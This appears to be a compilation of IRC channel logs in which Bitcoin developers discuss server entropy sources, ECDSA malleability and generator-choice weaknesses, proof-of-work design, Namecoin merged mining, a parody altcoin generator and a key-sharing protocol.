00:40 < jgarzik> gmaxwell, maaku: it matters for both hardware and kernel reasons. Kernel really really likes page-based I/O, and you wind up with atomicity of pages at multiple levels. Applications crossing page boundaries or updating a single page multiple times can cause corruption. Also, for hardware, you want sector-aligned -- usually page-aligned gets you that
for free. As gmaxwell points out, this matters less on SSD, but in some ways it is stil
04:22 < gmaxwell> there is no good infrastructure for delayed non-selective disclosure.
04:22 < gmaxwell> which is actually what you'd want there.
08:46 < HM3> lol at least the forum hack had a sense of grandeur
10:13 < jgarzik> http://thegenesisblock.com/analysis-silk-roads-historical-impact-bitcoin/
10:13 < jgarzik> Correlates various SR events with bitcoin price charts
13:40 < midnightmagic> jgarzik: Hah! I've been right all along!
13:41 < midnightmagic> <-- is getting major ego boosts from confirmation of years-long assertions.
--- Log closed Fri Oct 04 00:00:40 2013
--- Log opened Fri Oct 04 00:00:40 2013
--- Log closed Sat Oct 05 00:00:42 2013
--- Log opened Sat Oct 05 00:00:42 2013
17:13 < HM3> wow a bitcoin full-node daemon written in Go
19:07 < warren> anyone familiar with entropy sources available to the linux kernel? I'm configuring the new bitcointalk.org server and need to feed more entropy into the VM...
19:07 < K1773R> warren: HD IO increases it, otherwise you have to use a TRNG as seed
19:07 < jgarzik> warren, you're running rngd?
19:08 < warren> jgarzik: 16 core xeon server seems to lack intel hardware rng ...
19:08 < warren> not sure what kind of hardware thi sis
19:08 < warren> Starting rngd: can't open entropy source(tpm or intel/amd rng)
19:08 < warren> Maybe RNG device modules are not loaded
19:08 < warren> [FAILED]
19:08 < jgarzik> warren, TPM RNG works too
19:08 < jgarzik> warren, also, check for unused video or audio hardware (audio-entropyd, ...)
19:08 < jgarzik> bbiab
19:09 < warren> hm
19:09 < warren> jgarzik: virtio-rng.ko is only for inside guests right?
19:17 < warren> no TPM, no hw rng, no audio or video input available
19:17 < jgarzik> warren, correct, virtio-rng only for guests
19:17 < jgarzik> warren, can you PM (or just show) a pastebin of lspci?
19:18 < warren> http://pastebin.com/5XQhL36B
19:20 < K1773R> warren: http://www.vanheusden.com/te/
19:20 < jgarzik> warren, is video connected to anything, like a KVM?
19:21 < K1773R> warren: ^ always works
19:21 < warren> jgarzik: right now yes, but it will be removed I think
19:23 < warren> jgarzik: is the video usable as rng with or without something plugged in?
19:24 < jgarzik> warren, probably
19:24 < warren> jgarzik: it has KVM and it will remain forever
19:25 < jgarzik> warren, might have a second port unused, etc.
19:26 < gmaxwell> warren: http://www.issihosts.com/haveged/
19:26 * jgarzik reconsiders
19:26 < jgarzik> all this is pointless. Spend BTC on bitcoinstore.com and buy an entropy device ;p
19:27 < jgarzik> tell people to plug it in
19:27 < gmaxwell> the entropy keys are not available anymore.
19:27 < gmaxwell> :(
19:27 < gmaxwell> (they'll take your order but have no idea when they'll ship them)
19:28 < warren> http://www.vanheusden.com/ved/ hmm?
19:31 < warren> oh, video4linux =(
19:31 * warren tries haveged and te
19:31 < gmaxwell> haveged works very well, and the high and low watermark keep it doing the right thing... of course perhaps its randomness is garbage.
19:32 < warren> it works well, just it might not be good? =)
19:32 < gmaxwell> The software behaves well: runs as much as it needs to, keeps the kernel filled to at least the low watermark, etc.
19:32 < gmaxwell> but I provide no cerfitication on the quality of its randomness. :P
19:36 < K1773R> warren: did you check http://www.vanheusden.com/te/ ?
19:36 < K1773R> gmaxwell: are we talking about simtec's product?
19:38 < warren> K1773R: I did, but haveged was available as a package and it got gmaxwell's non-endorsement, so ... easy
19:39 < gmaxwell> K1773R: http://www.vanheusden.com/te/ is yuck compared to haveged just due to entropy pool management.
19:39 < K1773R> gmaxwell: ACK
19:39 < K1773R> didnt know about haveged
19:39 * warren trying to figure out virtio-rng ...
19:40 < gmaxwell> haveged addresses the fact that the kernel's pool is too darn small... it pregenerates like 1mbyte of randomness, and then will track how full the pool is and feed in at a measured pace.
19:41 < gmaxwell> Everything else just dumps a bunch on the pool at once and thus doesn't get credited... which matters if you care about keeping /dev/random from blocking.
19:42 < K1773R> wow haveged is awesome :)
19:42 < warren> aside from not "perhaps its randomness is garbage" part
19:42 < gmaxwell> yea, just don't read the code. (I contemplated integrating it into bitcoind and managed to not choke on the resulting vomit)
19:45 < gmaxwell> warren: well, it passes tests at least...
19:46 < K1773R> i ordered some of these http://www.entropykey.co.uk/ almost a year ago, didnt get mine yet :(
19:46 < gmaxwell> K1773R: yea. :(
19:47 < warren> heh, bitcoin uses a screenshot? amusing.
19:50 < gmaxwell> yea, in windows.
19:53 < K1773R> gmaxwell: can you recommend http://www.vanheusden.com/ved/ ?
19:55 < warren> K1773R: I'm amused that the thing he recommended had praise of "managed to not choke on the resulting vomit".
19:56 < gmaxwell> K1773R: I looked at it before and concluded its entropy estimation was bunk. Running it couldn't be harmful however. (likewise with their audio one)
19:56 < gmaxwell> warren: there are lots of ways software can be good/bad.
19:56 < gmaxwell> Go look at the havage source code, it's a engineering disaster of crazy C macro abuse. But its handling of the kernel is excellent.
19:57 < gmaxwell> But I wouldn't recommend it as the only entropy source for a high security application because I'm unconvinced that their cache timing stuff is actually all that random... and not just determinstic based on some really complicated cpu-internal state.
19:58 < gmaxwell> but I use it on my hosts that have randomness supply issues.
19:58 < gmaxwell> it's good just for its management of the too small kernel pool.
19:58 < gmaxwell> (changing the kernel pool size requires patching and recompiling, ... kinda cruddy if you want to stay with a distro kernel)
19:59 < K1773R> yea, should be a kernel option...
19:59 < warren> wget http://reddit.com/r/somewhere and pipe to rngd. Random garbage source.
19:59 < gmaxwell> it was a proc settable thing until there was some bug related to it
20:00 < K1773R> warren: lol
20:00 < gmaxwell> warren: yea, totally secure against someone with no access to reddit. :P
20:00 < gmaxwell> might as well "echo "my scheme is to run a cron that curl http://reddit.com/r/somewhere into /dev/random" > /dev/random" :P
20:13 < warren> jgarzik: https://fedoraproject.org/wiki/Features/Virtio_RNG
20:14 < warren> jgarzik: dang, sounds like RHEL6's libvirt doesn't actually know how to launch qemu with the virtio-rng-pci tihng
20:25 < midnightmagic> so awesome: https://www.usenix.org/conference/woot13/page-fault-weird-machine-lessons-instruction-less-computation
20:32 < warren> jgarzik: my mistake, I see RHEL6 updated its libvirt!
23:38 < sipa> haveged ftw
--- Log closed Sun Oct 06 00:00:44 2013
--- Log opened Sun Oct 06 00:00:44 2013
--- Log closed Mon Oct 07 00:00:47 2013
--- Log opened Mon Oct 07 00:00:47 2013
17:32 < maaku> so, wizards: how worth it would it be to have a validation index structure that supports transitive/commutative updates?
17:32 < maaku> (U -> A) & (U -> B) -> (U -> AB)
17:35 < gmaxwell> it's certantly worth it if it has ~no cost. I think our conclusion before is that it prevents you from doing level compression, which for index on txid's is fine, because level compression buys you very little there.
17:37 < maaku> It doesn't affect level compression on disk, just the number of hash operations.
17:39 < maaku> A proof right now would be about ~40 SHA-256 blocks; removing level compression of hashes would bump that up to about 290 SHA-256 block - so *a lot* more CPU time
17:40 < maaku> but my suspicion is that even without sha256 cpu instructions the database is still going to be the bottleneck...
17:41 < maaku> of course those hashes would be eating away at cpu/gpu resources used for ecdsa validation
17:55 < maaku> i guess benchmarking is the only real answer here
18:02 < gmaxwell> sha256 is stupidly fast even without cpu help.
18:02 < gmaxwell> 1us per operation or whatever.
--- Log closed Tue Oct 08 00:00:50 2013
--- Log opened Tue Oct 08 00:00:50 2013
--- Log closed Wed Oct 09 00:00:53 2013
--- Log opened Wed Oct 09 00:00:53 2013
--- Log closed Thu Oct 10 00:00:57 2013
--- Log opened Thu Oct 10 00:00:57 2013
02:35 < Luke-Jr> ok, so the BitShares guys said this isn't a secret..:
02:35 < Luke-Jr> memory-hard PoW using the birthday problem
02:36 < Luke-Jr> finding a solution can use GBs of RAM, yet verification is cheap
02:36 < Luke-Jr> thoughts? :p
02:38 < warren> Luke-Jr: time to start your own scam coin!
02:39 < gmaxwell> Luke-Jr: Not a new idea, I think (pollard-rho POW on my alt ideas has that property), I think. But it has a time memory tradeoff so you don't have to be any particular amount of memory hard
02:39 < gmaxwell> e.g. you can half your memory and just search 2x more points.
02:40 < gmaxwell> e.g. say you're trying to find two values with the same initial 32 bits. You decide in advance that you're only going to consider solutions that begin with a 0 bit.
02:41 < gmaxwell> Now you will have to check 2x more values, but you only need half the memory.
02:42 < warren> at some level of TMTO it becomes faster due to memory bandwidth?
02:43 < Luke-Jr> gmaxwell: isn't it exponentially faster the more memory you commit to it?
02:48 < gmaxwell> Luke-Jr: no, alas. Man wikipedia sucks.
02:48 < gmaxwell> lemme find you an actually informative citation
02:49 < gmaxwell> Here: http://eprint.iacr.org/2012/731.pdf
02:49 < Luke-Jr> XD
02:50 < gmaxwell> (for some reason WP doesn't describe pollard rho as applied to general memoryless collision search)
02:51 < Luke-Jr> hmm
02:51 < sipa> perhaps improve it then? :p
02:51 < Luke-Jr> Wikipedia is improvement-resistent. :p (but doesn't hurt to try I guess)
02:51 < Luke-Jr> gmaxwell: I wonder whether memoryless ASIC would be much faster than memory-as-ASIC in this case
14:18 < gmaxwell> MoALTz: refunding doesn't work becuase it may not be the in-kind miners block who ultimately has the transaction
14:18 < gmaxwell> (consider reorgs)
14:48 < adam3us> gmaxwell: "well I don't mind create two different signatures the signers could always create infinite more." well its a little different - if the users client created two signatures, maybe he has it in his state, but if a third party can then create a third signature algebraicly from the two signature that would be yet one more thing to watch out for,
eg what if your computer crashes part way, and he signature is recalculated but the message
14:49 < adam3us> not that i so far see a way to do even that somewhat contrived mutability
14:52 < gmaxwell> adam3us: It's true
but thats just yet another argument to use drandomized DSA.
14:52 < adam3us> absolutely :)
15:01 < gmaxwell> (2r,2^-1s) doesn't appear to work.
15:03 < gmaxwell> (obviously that doesn't mean that no such issue exists, but at least the simplest possible attempt didn't work)
15:05 < gmaxwell> e.g. in sage, http://0bin.net/paste/tGoT890fHgUhmhxT#YvA84LJPZQBrCNSP3msD0NM1m2lK2iFE5PyzDWMyzv0=
15:06 < adam3us> no that was broken there is an r in the s calculation s=k^-1(H(m)+rd)
15:06 < adam3us> so can correct k, but not r so far
15:08 < amiller> apparently there will be a dedicated Bitcoin workshop at the Financial Cryptography conference next year
15:08 < amiller> they'll accept papers by november 24
15:09 < amiller> nicolas cristin is the leader of it
15:09 < amiller> that's pretty cool, it's about time, and also that's a good venue
16:37 < adam3us> re manipulation of r,s other than r,-s this way of expressing the sig verification process looks more plausibly malleable than the s definition (r,s)r=([kG]x, k^-1(H(m)+rd) might suggest
16:38 < adam3us> k=s^-1*r*Q - s^-1*H(m)*G
16:39 < adam3us> sorry kG = s^-1*r*Q - s^-1*H(m)*G
16:40 < adam3us> or r = s^-1(r*Q - h(m)*G)
16:40 < sipa> .x
16:41 < adam3us> r.x yes
16:41 < sipa> well, no, but i see what you mean :)
16:41 < sipa> r = ... .x
16:41 < adam3us> ok;)
16:45 < adam3us> which can also be written rs = rQ-H(m)G
17:13 < gmaxwell> r = s^-1(r*Q - h(m)*G) < with r on both sides of the equation this makes it sort of hard to changes S to solve for r
17:20 < sipa> r = (r/s*Q - h*G).x
17:21 < sipa> R = R.x/s*Q - h*G
17:22 < sipa> oh
17:22 < sipa> R = (R.x*Q - h*G)/s
17:41 < gmaxwell> (you lost me on the Q, unless its the order, but I don't follow that)
17:47 < sipa> Q is the public key
17:48 < sipa> the tricky thing is that R is both used as an EC point, and its x coordinate as a scalar
17:52 < adam3us> i think its easier to work with (non EC) DSA notation but alternatively one can work with the point
17:52 < adam3us> eg i am thinking about hostile R values such that [R]x = H(m)
17:54 < adam3us> you dont need to know k' such that k'G = R with that property just choose R = (H(m),f(H(m))) for example
17:55 < adam3us> then the hard part try to solve for s
--- Log closed Tue Sep 24 19:47:20 2013
--- Log opened Tue Sep 24 19:47:38 2013
23:17 < petertodd> warren: same, although child-pays-for-parent would be good to implement first, that is implement the relaying changes so that groups of transactions are relayed at once
23:18 < warren> petertodd: that sounds helpful
23:18 < warren> petertodd: would there be any arbitrary limit of how deep the unconfirmed chain can be?
23:19 < petertodd> gmaxwell: *effectively* getting the sig out of the txid is a very easy change: just make signatures be on the scriptPubKey's or even scriptPubKey:value's your spending rather than txid:n
23:21 < petertodd> warren: doesn't have to be beyond the limit of "how much data I'm willing to accept from a peer in one go"
23:21 < petertodd> warren: 32MiB is that limit in some places
23:26 < gmaxwell> petertodd: no, that leaves you with all the really @#$#@ non-uniqueness problems.
23:26 < gmaxwell> "Am I spending this output or that?"
23:27 < petertodd> gmaxwell: if you don't re-use addresses there's no issue... and if you do, that's your own fault (and including value mitigates that somewhat)
23:28 < petertodd> gmaxwell: soft-forking change too, because it can be done as a new signature type
23:28 < petertodd> gmaxwell: you'd still want to keep txid's, but they're only a hint really (and for backwards compatibility)
23:39 < petertodd> gmaxwell: oh, brainfart, scriptPubKey:value is the only way to do it because of fees, so yeah, do that and you're set. from the transaction's point of view, who cares what exact txid was used to satisfy the input?
23:40 < gmaxwell> petertodd: ...
23:40 < petertodd> gmaxwell: obviously creating two scriptPubKey:value's is unwise in this scheme, but don't do that...
23:40 < gmaxwell> You don't control that.
23:40 < petertodd> gmaxwell: don't control what?
23:40 < gmaxwell> Other people paying you.
23:40 < gmaxwell> This basically reintroduces the duplicate txid problem.
23:41 < petertodd> gmaxwell: sure you do: new system is that when you give someone an address, you actually give them a way to generate scriptPubKey's on your behalf, be it ECC or something as dumb as a nonce
23:42 < gmaxwell> petertodd: but then they pay you twice from non-strongly seralized systems.
23:42 < petertodd> gmaxwell: heck, failing that, do scriptPubKey:value:block:tx#...
23:42 < gmaxwell> can't spend unconfirmed outputs, which then defeats the whole issue with worrying about the malleability, nothing is malleable once confirmed.
23:43 < petertodd> gmaxwell: fair enough
23:44 < petertodd> gmaxwell: then just make it possible to leave out the txid in the signature hash calculation, usually it'll be there, but for special applications hash something else to be sure malleability doesn't bite you
--- Log closed Wed Sep 25 00:00:12 2013
--- Log opened Wed Sep 25 00:00:12 2013
01:53 < phantomcircuit> warren, :)
17:41 < warren> perhaps mastercoin should be encouraged to bloat testnet
17:41 < warren> then it gets dumped with testnet4
17:42 < sipa> ha
17:54 < gmaxwell> I think their marketing precludes them from using testnet.
17:54 < gmaxwell> would be nice if someone could convince them!
18:05 < warren> "testnet has no IsStandard() enforcement so you can do any transaction you want!"
18:05 < warren> "the fees per KB will be lower, making mastercoin cheaper to operate!"
18:06 < sipa> and it's technically just as useful for them
--- Log closed Thu Sep 26 00:00:16 2013
--- Log opened Thu Sep 26 00:00:16 2013
--- Log closed Fri Sep 27 00:00:19 2013
--- Log opened Fri Sep 27 00:00:19 2013
18:12 < gmaxwell> so, I've come up with a way of exploiting ECDSA on the basis of controlling the generator.
18:13 < gmaxwell> basically, if you select G to be some multiple of someones public key, then you can forge signatures as being from that public key, without ever knowing the private key.
18:14 < gmaxwell> I don't think this is a problem for us, since of course all our pubkeys would be generated after the generator was fixed. :)
18:14 < gmaxwell> But there you go.
18:17 < sipa> so, say there is a secret private key x
18:17 < sipa> then you choose G to be n times ... what?
18:18 < sipa> G = n * (x * G) ...
18:18 < sipa> ok, so n has to be 1/x
18:19 < sipa> how can you do that without knowing x?
18:20 < gmaxwell> sipa: no no, say there is an existing public key P. (forget how it was generated). I can pick the generator as P*X for some X and then sign messages as P even though I do not know P's discrete log.
18:21 < gmaxwell> (perhaps P is some nothing up my sleeve number)
18:23 < sipa> but P = G * p
18:24 < sipa> (whether you know p or not)
18:24 < sipa> i'm just saying that the notion of a public key sounds meaningless without having the generator
18:25 < gmaxwell> Right it's not really a 'public key' anymore. It's just an "apparent public key"
18:26 < gmaxwell> for example. Say bitcoin was stupid and send "expired coins" to a pubkey of SHA256("expired"). I could pick G so that I could spend those coins.
18:27 < sipa> ok, say you have P
18:28 < sipa> a valid point on the curve
18:28 < sipa> now you choose G to be n*P
18:28 < sipa> then by definition, P's corresponding private key becomes 1/n
18:29 < sipa> or in other words, by choosing G, you're choosing P's private key
18:29 < sipa> ... of course you're able to spends coins using it, then
18:30 < gmaxwell> Yea, did we really know this before? At least before figuring this out, I thought the only thing you could do by controlling G is forge the signature of a single message.
18:31 < sipa> right
18:31 < sipa> no, i actually never realized that
18:32 < sipa> the realization is that if you're choosing G in terms of an existing public key (however generated), that public key's private key becomes apparent
18:33 < sipa> so, we should actually demand that the generator point has some property that makes it unlikely to be the multiple of something known
18:33 < sipa> why isn't G something like (0x333333333333...33333, <whatever needer>)
18:35 < gmaxwell> or just (1,whatever) + (whatever,1) ?
18:35 < sipa> right
18:35 < sipa> SO
18:35 < gmaxwell> yea, I have no idea. Its irritating. I won't disclose how much time I've spent thinking about this purely because I can't see why the generator isn't some obvious value
or at least chosen for performance.
18:35 < sipa> satoshi works for certicom
18:37 < gmaxwell> yea, I can't figure out any attack for this which is at all interesting. We have no nothing up my sleeve pubkeys in bitcoin. We never use pubkeys from other systems as our pubkeys, etc.
18:38 < sipa> right
18:39 < sipa> all it can do is make an apparent nothing-up-my-sleeve number in fact not be a black hole
18:39 < sipa> but that's all it could be in bitcoin: a proven black hole
18:39 < gmaxwell> if 1bitcoineaterdontspend were really a pubkey (if we even had addresses for pubkeys) then I could have made it so those coins were spendable.
18:40 < sipa> yup
18:40 < sipa> for one single address
--- Log closed Thu Jan 02 00:00:47 2014
--- Log opened Thu Jan 02 00:00:47 2014
01:30 < michagogo|cloud> But why force someone who wants to mine namecoin to set up a bitcoind?
01:30 < michagogo|cloud> :-P
01:32 < justanotheruser> michagogo|cloud: Are you saying they shouldn't mine bitcoin, only namecoin?
01:38 < gmaxwell> michagogo|cloud: you don't have to setup a bitcoind.
01:38 < gmaxwell> michagogo|cloud: just produce namecoin blocks with dummy (invalid) bitcoin parents.
01:39 < brisque> nothing really stopping there being namecoin only pools is there? just nobody would want to lose out on the BTC profit.
01:43 < Luke-Jr> gmaxwell: don't even need parents..
01:44 < Luke-Jr> oh
01:44 < Luke-Jr> I see
01:46 < Luke-Jr> yes, I think namecoin is vulnerable here
01:46 < Luke-Jr> I think a better solution would be to use the POW hash as the prevblock header ;)
01:47 < brisque> Luke-Jr: I've done almost no research into namecoin, does it allow for SPV clients?
01:50 < brisque> actually I can answer that one. it's a 0.7 fork so it doesn't support bloom filters, but you can still do some lite verification with the block header and merkle tree.
01:54 < michagogo|cloud> justanotheruser: I was jokingly saying, what if someone wanted to do that?
01:59 < gmaxwell> brisque: you can't really do spv name resolution with it, however.
02:00 < Luke-Jr> brisque: not even that
02:00 < Luke-Jr> what gmaxwell said
02:00 < Luke-Jr> to actually use it, you need a full client
02:00 < brisque> if there was a DNS-namecoin proxy it could prove using the merkle tree and header that the data is valid and in a block though, right?
02:01 < Luke-Jr> brisque: it can't proove the data isn't replaced/stale
02:01 < brisque> sounds like I need to read up on it's design. that makes sense though.
02:02 < brisque> I was forgetting name resolution isn't static like a transaction is.
02:05 * andytoshi-logbot is logging
02:10 < gmaxwell> brisque: it could be made possible with some modest design changes.
02:11 < gmaxwell> https://bitcointalk.org/index.php?topic=21995.0
02:16 < brisque> gmaxwell: that's interesting. for old blocks that would presumably get resource intensive though.
02:17 < gmaxwell> hm?
02:17 < gmaxwell> brisque: I would only expect nodes to retain the data structure as of the tip.
02:18 < gmaxwell> (to reorg they would keep undo data, like we do for blocks)
02:20 < brisque> yep, I follow.
02:20 < brisque> at this point I'm convinced that you've written a post on the forum about every topic conceivable, it's just buried in bitcointalk nonsense.
02:28 < CodeShark> yeah, agreed, brisque - it would be nice to organize all of gmaxwell's forum posts into a coherent reference :)
02:29 < CodeShark> I just don't have time nor focus to sift through all the forum crap
02:30 < brisque> CodeShark: I'd read that, maybe a coffee table book of failed altcoins too
02:33 < gmaxwell> I've actually considered hiring someone to do that.
02:34 < gmaxwell> (to go index everything I've written and make summaries)
02:35 < brisque> damn, I was getting excited for the coffee table book.
02:37 < brisque> gmaxwell: provided all of your 3000 posts aren't almost BIPs in length, I'd be happy to do that though if you wanted. they're usually quite interesting reads unto themselves.
02:39 < brisque> gmaxwell: I particularly enjoy that you used interrobangs in 2011.
02:51 * andytoshi-logbot is logging
02:52 * andytoshi will manually paste everything the logbot missed over the last hour into the logs -- this outage was (semi)planned as the logbot was getting a virtual sound card installed
02:54 < brisque> andytoshi: nothing important was said anyway, just me being impressed by gmax'wells crazy punctuation.
03:01 < BlueMatt> early beta preview: http://coingen.bluematt.me/ =D
03:01 < CodeShark> haha!
03:01 < CodeShark> nice
03:01 < brisque> BlueMatt: that's absolutely brilliant
03:02 < andytoshi> ha ha!
03:02 < brisque> BlueMatt: might want to drop the pricing if you really want to flood the market though.
03:02 < andytoshi> i love the prefilled "MagicCoin"
03:03 < BlueMatt> brisque: yea, havent fixed that up yet
03:03 < CodeShark> BlueMatt: wasn't it you just a few days ago after we talked about this who was so adamantly opposed to making it easier for people to make alt coins? :)
03:03 < CodeShark> or was that someone else?
03:04 < BlueMatt> no
03:04 < BlueMatt> I absolutely hate altcoins
03:04 < BlueMatt> hence why I built this
03:04 < brisque> BlueMatt: making it free for the no-source version and paid to remove the branding would probably be best for maximum impact, then you end up with a situation where you have people too cheap to pay for the removal of the branding being shown as such.
03:04 < BlueMatt> brisque: not sure yet...the server isnt free...
03:05 < BlueMatt> really havent decided yet
03:05 < CodeShark> you stole my idea :p
03:05 < CodeShark> j/k
03:06 < CodeShark> it was only a matter of time before it got built
03:06 < BlueMatt> plenty of people have been discussing it for a long time :P
03:06 < brisque> BlueMatt: completely up to you naturally, it would have maximum impact if you could undercut people offering this as a manual service though.
03:06 < BlueMatt> yep
03:06 < BlueMatt> yea
03:06 < andytoshi> oh god, we're gonna have people on #bitcoin asking which alt generator is the cheapest
03:06 < andytoshi> ...and people answering them
03:06 < CodeShark> yes, brace yourself
03:07 < brisque> BlueMatt: do you have an address I can throw a tip to? I'll throw you some for the effort when I'm near my cold wallet next.
03:07 < warren> brisque: there should be an option with a 100 BTC minimum to set the exchange bribe amount.
03:08 < brisque> warren: I like that too
03:10 < brisque> BlueMatt: probably needs a couple more variables now that I'm looking at the altcoin forum. starting difficulty, target time, that sort of thing.
03:11 < BlueMatt> brisque: put up a donation address
03:11 < BlueMatt> brisque: yep, its still fairly early
03:11 < CodeShark> starting difficulty should be minimum difficulty - the other parameters are starting time, block reward rule, retargetting rule, and magic bytes (which might be best to just choose randomly)
03:11 < BlueMatt> the scrypt option doesnt even work yet
03:11 < CodeShark> and while you're at it, allow dynamic linking to a block header hash function
03:12 < BlueMatt> also need to put up something like pre-mine a single block and put up a "accept anything" peer that bootstraps the initial network
03:12 < CodeShark> and make sure not to make the same mistake as litecoin and use two separate block hash functions
03:12 < CodeShark> the PoW hash function for blocks should also be used for block identifiers in the protocol
03:12 < kyrio> magic bytes need to be random
03:12 < BlueMatt> magic bytes are random
03:12 < kyrio> oh
03:12 < brisque> BlueMatt: made a tip transaction, I'll go sign it and broadcast it later.
03:12 < BlueMatt> brisque: thanks
03:12 < kyrio> >p2pool networks.py config included
03:13 < CodeShark> and just for kicks, allow them to enter arbitrary data into the genesis block coinbase transaction :)
03:13 < warren> Dual_EC_DRBG random?
03:13 < kyrio> >.1 btc
03:13 < kyrio> or maybe .25
03:13 < andytoshi> warren: yes :D
03:13 < BlueMatt> yea, mining support would be awesome
03:13 < brisque> BlueMatt: oh, sweet idea. default the POW to MD4 unless they pay
03:13 < warren> hahaha
03:13 < CodeShark> lol
03:13 < BlueMatt> heh
03:13 < brisque> maybe that's too mean.
03:14 * BlueMatt has had waay more mean thoughts while building this
03:14 < BlueMatt> just didnt do any (yet)
03:14 < brisque> for maximum impact (not necessarily profit) you'd want to make it low enough cost for people to do it on a whim.
03:14 < kyrio> yes
03:15 < kyrio> but things that will make the creator profit (like putting up the first pool) should cost him first
03:15 < brisque> for maximum profit you'd want it set up with freemium options like it is now. free unless you want a better algorithm, or the source, or the branding removed.
03:15 < kyrio> so he loses money
03:15 < petertodd> BlueMatt: I implemented CRC32 in opentimestamps fwiw...
03:15 < petertodd> BlueMatt: maybe do CRC64 as a compromise
03:15 < gmaxwell> BlueMatt: oh wow!
03:16 < gmaxwell> you've been so much more productive than I've been lately.
03:16 < brisque> petertodd: luhn check POW?
03:16 < gmaxwell> You need some kind of graphic involving a fountain of money.
03:16 < andytoshi> i wonder if there's actually a way to involve captchas in the PoW..
03:16 < petertodd> It'd be the master of all coins.
03:16 < BlueMatt> gmaxwell: submissions gladly accepted
03:16 < gmaxwell> BlueMatt: I might take you up on that.
03:16 < brisque> andytoshi: nope. who would make the captcha? the point of POW is that the work is generated without a second party.
03:17 < gmaxwell> brisque: where did he suggest that it would be secure?
03:17 < BlueMatt> anyway, still needs lots of work but for now it does work for making a bitcoin-clone that has custom branding automagically
03:17 < brisque> gmaxwell: right. I'd forgotten I just suggested a check digit as a POW.
03:18 < andytoshi> :P
03:18 < BlueMatt> probably plenty of sed issues, but oh well
03:19 < brisque> for the greater good.
03:19 < gmaxwell> There should be an option to use this in the scripting language: https://en.wikipedia.org/wiki/LOLCODE
03:20 < BlueMatt> OP_X86 :)
03:20 < andytoshi> brisque: suppose you have to find a hash, and an 2-color image of the hash's hex code which starts with the same bytes when read as a bitmap
03:20 < andytoshi> and the users have to solve the captcha for their node to accept the blocks
03:21 < brisque> BlueMatt: you should probably avoid being malicious. the simple existence of such a tool is enough to make the point.
03:21 < gmaxwell> brisque: thats not malicious, it's just ill advised.
03:21 < petertodd> BlueMatt: OP_PYTHON
20:00 < HM> sipa: do you have the equivalent OpenSSL benchmark?
20:00 <@sipa> no
20:01 <@sipa> feel free to write one
20:01 <@sipa> but there are optimizations possible "higher up" that openssl doesn't do, too
20:09 <@sipa> so i'd rather continue, and make a full verifier on top of this, and then compare to OpenSSL
21:10 < HM> incidentally
21:11 < HM> i'm in need of an algorithm where a trusted third party can use to establish a shared secret between 2 parties using only their public keys and participation from *one*
21:12 < HM> e.g. Alice <-- Ted ---> Bob
21:13 < HM> Ted wants to establish a shared secret between Bob and Alice with Bobs help
21:13 < HM> but he needs to ensure Alice will be able to get it
21:13 < HM> without holding private keys for either
21:14 < HM> Ted also doesn't fully trust Bob :)
21:15 < HM> So far the best i've come up with is blinding a dozen tokens, getting Bob to compute a multiplication for each of them
21:15 <@gmaxwell> HM: what purpose does Ted serve at all?
21:15 < HM> then unblinding 11 of them and verifying them
21:15 < HM> that was there's only a 1/12 chance Bob has been dishonest and he will be caught in all likelihood
21:15 <@gmaxwell> if everyone has everyone's public keys. Bob and alice can combine them to get a shared secret... (e.g. ECDH) and no need for Ted to do anything.
21:16 < HM> yep
21:16 < HM> but Bob and Alice cannot communicate in realtime
21:16 <@gmaxwell> so? they have public keys
they have a shared secret with no more communication.
21:16 <@gmaxwell> ECDH doesn't require interaction beyond exchanging the public keys, if you don't care for the key to be ephemeral.
21:17 < HM> not really
21:17 < HM> look at it this way
21:17 < HM> Bob knows Alices public key
21:17 < HM> but he doesn't have to use it
21:17 < HM> if a package is encrypted and stored for later with some shared secret, there's no way for Alice to know until later whether he can access it
21:18 <@gmaxwell> Great, then bob knows the AliceBob shared secret. And if Alice knows Bob's public key, then alice also knows the AliceBob shared secret.
21:19 < HM> Alice can't establish the shared secret in realtime, and decrypt the package and say "yup, that's cool"
21:19 < HM> she has to rely on Ted to make sure Bob is playing ball
21:20 <@gmaxwell> Please step back and describe what you're trying to do. What do people have, what do they know, what state are they trying to get in?
21:21 <@gmaxwell> It sounds to me like you are saying everyone knows everyone's public keys. Alice wants to send an encrypted file to bob. Bob is offline. Later alice will be offline and bob will be online.
21:21 < HM> basically Ted is locking something up, that is witheld from both Alice and Bob, until sometime in the future.
21:23 < HM> it's encrypted and you need 2 keys to access it
21:23 < HM> either (Alices or Bobs) AND another key
21:25 < HM> the other key is made public in future if Bob needs access, but it's used with other pairings.
21:25 < HM> e.g. (Alice or Sarah) and the other key
21:26 < HM> Ted has to set this up without having Alices private key
21:26 < HM> or Sarahs and Bobs
21:26 < HM> or the private key for the other key
21:27 < HM> so far the best i have will only protect Alices access for some probability
21:27 < HM> i'm not sure it's possible
21:27 < HM> without Ted establishing an ephemeral key
21:28 < HM> I guess an easier way of thinking about it
21:29 < HM> Sarah and Bob are part of a group that need access to Teds documents if provided with a group key
21:29 < HM> Alice has access any time
21:30 < HM> it's not just a group key though because the documents are individual, but they do need the group key
21:30 <@gmaxwell> You've overcomplicating it. Ted can just encrypt the document and then encrypt the document key for any party or group that he wants to have access. Done.
21:31 < HM> yep
21:31 < HM> but then the encrypted document key needs to be shared
21:32 < HM> the objective is to accomplish this without Sarah and Bob having to remember any additional data
21:32 < HM> or having that kept with Ted
21:33 <@gmaxwell> HM: it would be included with the document, of course.
21:34 < HM> what i invisioned was this
21:35 < HM> what syntax do you use for public EC keys?
21:35 < HM> G^x good for you?
21:37 < HM> i'll use *G
21:37 < HM> (g + H(b*a*G))*G = g*G + H(b*a*G)*G
21:38 < HM> g = group key, a = alice, b = bob
21:38 < HM> H = some hash function
21:38 < HM> given a*G (Alice's public key), bob can calculate H(b*a*G), as can Alice
21:39 < HM> because that's basically D-H
21:39 < HM> if 'g' is later made public then Bob can also then get the final private key: g + H(b*a*G)
21:40 < HM> Ted can construct this whole thing because he only needs a*G and b*a*G from Bob and Bob trusts him
21:40 < HM> that is, Ted can calculate the right hand side
21:40 < HM> the problem is Ted can't just expect Bob to calculate b*a*G
21:40 < HM> 'b' is unknown so he could just as easily reply with anything
21:40 < HM> and screw Alice
21:44 < HM> My best idea atm is to have Ted blind a*G and actually keep that secret. send Bob a dozen blinded x[]*Gs and have him compute b*x[0..i]Gs
21:44 < HM> Ted can then verify that Bob has calculated at least a dozen correctly because he already has b*G which is used earlier for authentication
21:45 < HM> so Ted can be pretty sure that the b*a*G he has is really a multiple of a*G
21:47 < HM> a*G doesn't actually have to be secret, that was poor phrasing
21:47 < HM> i meant the location amongst the blinded points
